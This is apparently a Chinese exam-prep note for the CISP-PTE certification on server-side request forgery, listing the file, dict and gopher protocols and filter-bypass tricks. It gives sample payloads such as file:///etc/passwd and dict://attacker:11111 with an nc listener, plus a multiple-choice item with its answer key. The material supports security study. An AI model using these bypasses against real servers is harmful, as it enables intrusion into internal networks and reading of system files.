SSRF 利用协议与绕过技巧｜CISP-PTE核心考点

file:// 读本地文件，dict:// 探测端口，gopher:// 构造任意 TCP 请求。

用 @ 符号、IP 进制转换、URL 跳转、短网址、xip.io、127.0.0.1 变体等手法。

http://xxx.192.168.0.1.xip.io 通过 DNS 解析指向 192.168.0.1，绕过对字面 IP 的过滤。

如 http://baidu.com@www.baidu.com，实际访问的是 @ 后的主机，用于绕过对 @ 前内容的校验。

考点精讲

协议：file://（读取本地文件，如 file:///etc/passwd）、dict://（探测端口，如 dict://attacker:11111 配合 nc 监听）、gopher://（构造任意 TCP 请求）。绕过技巧：@ 符号（http://baidu.com@www.baidu.com）、IP 进制转换（十进制/八进制/十六进制）、URL 跳转、短网址、xip.io（http://xxx.192.168.0.1.xip.io 指向 192.168.0.1）、加 :80 端口绕过子网限制、127.0.0.1 变体（127.0.1、127.1 或转 16 进制/2 进制）。

file 读、dict 探、gopher 打
127.0.0.1 → 127.0.1/127.1/转进制绕过
xip.io 把任意域名指向内网 IP

【示例】 某 SSRF 过滤禁止了 127.0.0.1，下列哪种写法可能绕过该过滤（）
127.0.0.1　2130706433（127.0.0.1 的十进制整数形式）　直接访问外网地址　放弃探测
答案：B
解析：把 127.0.0.1 转为十进制整数（2130706433）等进制变体，可绕过只拦标准点分 IP 的黑名单，B 正确；A 会被拦，C、D 与绕过无关。

Q：file、dict、gopher 协议分别有什么用？

A：file:// 读取本地文件（如 file:///etc/passwd）；dict:// 探测端口（如 dict://attacker:11111 配合 nc 监听）；gopher:// 构造任意 TCP 请求。

Q：如何绕过 IP 黑名单？

A：IP 进制转换（十进制/八进制/十六进制）、短网址、xip.io、@ 符号、加 :80 端口、127.0.0.1 变体（127.0.1、127.1）等。

Q：xip.io 是怎么绕过限制的？

A：xip.io 是一种把 IP 编码进域名的服务，如 http://xxx.192.168.0.1.xip.io 会解析到 192.168.0.1，从而绕过仅校验 IP 地址的过滤。

Q：@ 符号在 URL 中有什么作用？

A：URL 中 @ 之前的内容会被当作用户名/主机信息，真正访问的是 @ 之后的地址，如 http://baidu.com@www.baidu.com 实际访问 www.baidu.com，可用来绕过对主机名的校验。